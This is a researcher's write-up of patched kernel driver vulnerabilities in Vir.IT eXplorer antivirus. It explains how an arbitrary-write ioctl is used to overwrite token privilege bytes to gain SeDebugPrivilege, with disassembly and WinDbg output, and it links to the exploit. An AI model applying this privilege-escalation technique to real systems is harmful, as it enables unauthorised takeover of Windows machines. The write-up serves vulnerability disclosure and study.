Exploiting Vir.IT eXplorer Anti-Virus Arbitrary Write Vulnerability

Last month I started hunting for kernel bugs again and it wasn’t too long before I found a nice collection of bugs in an antivirus product called Vir.IT eXplorer. In total 6 kernel vulnerabilities were discovered. All of the vulnerabilities were due to the inputted buffer not being validated. The below table lists the ioctls, related CVE and type of vulnerability

IOCTL CVE ID Vulnerability Type 0x82730078 CVE-2017-16233 Buffer Overflow 0x82730048 CVE-2017-16234 Denial of Service 0x82730098 CVE-2017-16235 Arbitrary Write 0x82730028 CVE-2017-16236 Denial of Service 0x8273007C CVE-2017-16237 Arbitrary Write 0x82730080 CVE-2017-16238 Arbitrary Write

All of the vulnerabilities were fixed and an updated product released within a day.

Vulnerable version Fixed version Software 8.5.39 8.5.42 Viragtlt.sys 1.80.0.0 1.81.0.0 Viraglt64.sys 1.0.0.11 1.0.0.12

I decided to exploit the ioctl 0x8273007C by overwriting the _SEP_TOKEN_PRIVILEGES structure.

Here I am overwriting certain offsets of the _SEP_TOKEN_PRIVILEGES structure with byte 0x11, actually overwriting a byte in the “Present” field and a byte in the “Enabled” field. This will give us the “SeDebugPrivilege” privilege. Once the privilege has been obtained all that needs doing is to inject shellcode into a privileged process. The reason we need two writes as Kyriakos Economou @kyREcon pointed out in Windows 10 (1703) the “Enabled” privileges are checked against “Present” privileges. You can read Kyriakos’s paper here

For this exploit you can overwrite with whatever values/offsets you like to get the desired privileges, I just happened to use value 0x11 in this case knowing it will give me the “SeDebugPrivilege” privilege as I had previously written another exploit which I’m still waiting to publish once that software fix has been released.

The vulnerable code has two XCHG instructions used to overwrite the _SEP_TOKEN_PRIVILEGES structure “Present” and “Enabled” field bytes in one go.

loc_FFFFF88000DE3E79: mov rbp, [rdi] ; rdi points to input buffer mov rsi, cr8 ; rbp holds our SEP address - input[0] mov ecx, 2 cmp sil, cl jnb short loc_FFFFF88000DE3E95 mov rax, cr8 mov cr8, rcx mov sil, al loc_FFFFF88000DE3E95: call sub_FFFFF88000DEC128 mov rcx, [rdi+8] ; rcx holds "Present" bytes - input[1] xchg rcx, [rbp+0] ; Overwriting "Present" bytes mov rdx, [rdi+10h] ; rdx holds "Enabled" bytes - input[2] xchg rdx, [rbp+8] ; Overwriting "Enabled" bytes

Looking at our _SEP_TOKEN_PRIVILEGES structure in WinDbg

kd> !process 0 0 cve-2017-16237.exe PROCESS fffffa8032939600 SessionId: 1 Cid: 05bc Peb: 7fffffd6000 ParentCid: 0644 DirBase: 32c17000 ObjectTable: fffff8a001d4a580 HandleCount: 13. Image: cve-2017-16237.exe kd> !process fffffa8032939600 1 PROCESS fffffa8032939600 SessionId: 1 Cid: 05bc Peb: 7fffffd6000 ParentCid: 0644 DirBase: 32c17000 ObjectTable: fffff8a001d4a580 HandleCount: 13. Image: cve-2017-16237.exe VadRoot fffffa80323a91b0 Vads 27 Clone 0 Private 2014. Modified 0. Locked 0. DeviceMap fffff8a003a77760 Token fffff8a0031a8060 ElapsedTime 00:00:00.686 UserTime 00:00:00.000 KernelTime 00:00:00.000 QuotaPoolUsage[PagedPool] 0 QuotaPoolUsage[NonPagedPool] 0 Working Set Sizes (now,min,max) (2362, 50, 345) (9448KB, 200KB, 1380KB) PeakWorkingSetSize 2362 VirtualSize 16 Mb PeakVirtualSize 16 Mb PageFaultCount 2359 MemoryPriority BACKGROUND BasePriority 8 CommitCharge 2089 kd> dt nt!_TOKEN fffff8a0031a8060 +0x000 TokenSource : _TOKEN_SOURCE +0x010 TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffff`ffffffff +0x030 TokenLock : 0xfffffa80`31e23d40 _ERESOURCE +0x038 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES +0x058 AuditPolicy : _SEP_AUDIT_POLICY +0x074 SessionId : 1 +0x078 UserAndGroupCount : 0xf +0x07c RestrictedSidCount : 0 +0x080 VariableLength : 0x2c0 +0x084 DynamicCharged : 0x400 +0x088 DynamicAvailable : 0 +0x08c DefaultOwnerIndex : 0 +0x090 UserAndGroups : 0xfffff8a0`031a8370 _SID_AND_ATTRIBUTES +0x098 RestrictedSids : (null) +0x0a0 PrimaryGroup : 0xfffff8a0`03202830 Void +0x0a8 DynamicPart : 0xfffff8a0`03202830 -> 0x501 +0x0b0 DefaultDacl : 0xfffff8a0`0320284c _ACL +0x0b8 TokenType : 1 ( TokenPrimary ) +0x0bc ImpersonationLevel : 0 ( SecurityAnonymous ) +0x0c0 TokenFlags : 0x2a00 +0x0c4 TokenInUse : 0x1 '' +0x0c8 IntegrityLevelIndex : 0xe +0x0cc MandatoryPolicy : 3 +0x0d0 LogonSession : 0xfffff8a0`03b398a0 _SEP_LOGON_SESSION_REFERENCES +0x0d8 OriginatingLogonSession : _LUID +0x0e0 SidHash : _SID_AND_ATTRIBUTES_HASH +0x1f0 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH +0x300 pSecurityAttributes : 0xfffff8a0`0328df10 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION +0x308 SessionObject : 0xfffffa80`320f83e0 Void +0x310 VariablePart : 0xfffff8a0`031a8460

Before overwriting the bytes it will look like

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a0031a8060+40 +0x000 Present : 0x6`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x800000 kd> db fffff8a0031a8060+40 l18 fffff8a0`031a80a0 00 00 88 02 06 00 00 00-00 00 80 00 00 00 00 00 ................ fffff8a0`031a80b0 00 00 80 00 00 00 00 00 ........

and afterwards

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a0031a8060+40 +0x000 Present : 0x6`02110000 +0x008 Enabled : 0x110000 +0x010 EnabledByDefault : 0x800000 kd> db fffff8a0031a8060+40 l18 fffff8a0`02b08a70 00 00 11 02 06 00 00 00-00 00 11 00 00 00 00 00 ................ fffff8a0`02b08a80 00 00 80 00 00 00 00 00 ........

Checking the privileges

kd> !token fffff8a0031a8060 _TOKEN fffff8a0031a8060 TS Session ID: 0x1 User: S-1-5-21-2231847605-3015871416-1385684711-1000 Groups: 00 S-1-5-21-2231847605-3015871416-1385684711-513 Attributes - Mandatory Default Enabled 01 S-1-1-0 Attributes - Mandatory Default Enabled 02 S-1-5-114 Attributes - DenyOnly 03 S-1-5-32-544 Attributes - DenyOnly 04 S-1-5-32-545 Attributes - Mandatory Default Enabled 05 S-1-5-4 Attributes - Mandatory Default Enabled 06 S-1-2-1 Attributes - Mandatory Default Enabled 07 S-1-5-11 Attributes - Mandatory Default Enabled 08 S-1-5-15 Attributes - Mandatory Default Enabled 09 S-1-5-113 Attributes - Mandatory Default Enabled 10 S-1-5-5-0-118426 Attributes - Mandatory Default Enabled LogonId 11 S-1-2-0 Attributes - Mandatory Default Enabled 12 S-1-5-64-10 Attributes - Mandatory Default Enabled 13 S-1-16-8192 Attributes - GroupIntegrity GroupIntegrityEnabled Primary Group: S-1-5-21-2231847605-3015871416-1385684711-513 Privs: 16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled 20 0x000000014 SeDebugPrivilege Attributes - Enabled 25 0x000000019 SeUndockPrivilege Attributes - 33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - 34 0x000000022 SeTimeZonePrivilege Attributes - Authentication ID: (0,1d038) Impersonation Level: Anonymous TokenType: Primary Source: User32 TokenFlags: 0x2a00 ( Token in use ) Token ID: e8a62 ParentToken ID: 1d03b Modified ID: (0, e8571) RestrictedSidCount: 0 RestrictedSids: 0000000000000000 OriginatingLogonSession: 3e7

The exploit is written only to work from a medium integrity process as I’m using the NtQuerySystemInformation(SystemHandleInformation) API to leak the address of the process token. It has been tested on 64bit Windows 7 and Windows 10 (1709).

The exploit can be downloaded from here [zip] or from Exploit-DB when it gets published.

@ParvezGHH